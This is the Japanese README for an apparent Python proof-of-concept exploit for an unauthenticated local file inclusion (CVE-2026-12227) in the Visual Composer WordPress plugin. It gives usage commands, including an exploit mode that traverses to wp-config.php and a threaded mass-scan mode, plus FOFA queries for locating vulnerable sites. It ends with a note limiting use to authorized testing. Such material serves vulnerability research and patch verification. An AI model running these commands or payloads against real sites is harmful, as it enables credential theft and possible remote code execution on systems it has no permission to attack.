CVE-2026-12227 — Visual Composer Website Builder 未認証 LFI

CVE-2026-12227 (Wordfence) の Python 3 PoC: Visual Composer Website Builder(wordpress.org 上の visualcomposer)における vcv-template クエリパラメータを介した ローカルファイルインクルージョン。

概要

脆弱なバージョンでは、公開ページの読み込み時に、PageTemplatesController 内の WordPress template_include 処理中に、攻撃者が制御する vcv-template(および vcv-template-type)が尊重されます。これにより、攻撃者が選択したディスク上のファイルをインクルードできる可能性があり、PHP ファイルは実行される可能性があります(RCE)。Wordfence は、一部の環境でアップロードされた「安全な」拡張子との連鎖について言及しています。

攻撃対象領域

• プラグインがインストールされており、VC で構築されたフロントエンドページ(通常のパーマリンク)が必要です。
• プローブはクエリパラメータを追加します。例: ?vcv-template-type=vc&vcv-template=blank または vcv-template 配下の LFI パス。
• 関連パラメータ: vcv-template-type、vcv-template-stretched。

要件

pip install -r requirements.txt

Python 3.8+。

使用方法

# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check

# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /

# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet

# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php

# JSON for scripting
python poc.py -u https://target.example --mode check --json

出力

ステータス値

FOFA ヒント

body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"

技術的な注意事項

• コードパス: visualcomposer/Modules/Editors/Settings/PageTemplatesController.php(getCurrentTemplateLayout、viewPageTemplate)。
• Check はパラメータ制御または LFI マーカーを exploitable_candidate として扱います。RCE と断定する前に、ステージングクローンで確認してください。
• プレミアムの TemplateFilter / テーマビルダーアドオンは、一部のサイトで到達可能なパスを広げる可能性があります。

法的注意

所有しているシステム、またはテストの明示的な許可を得たシステムでのみ使用してください。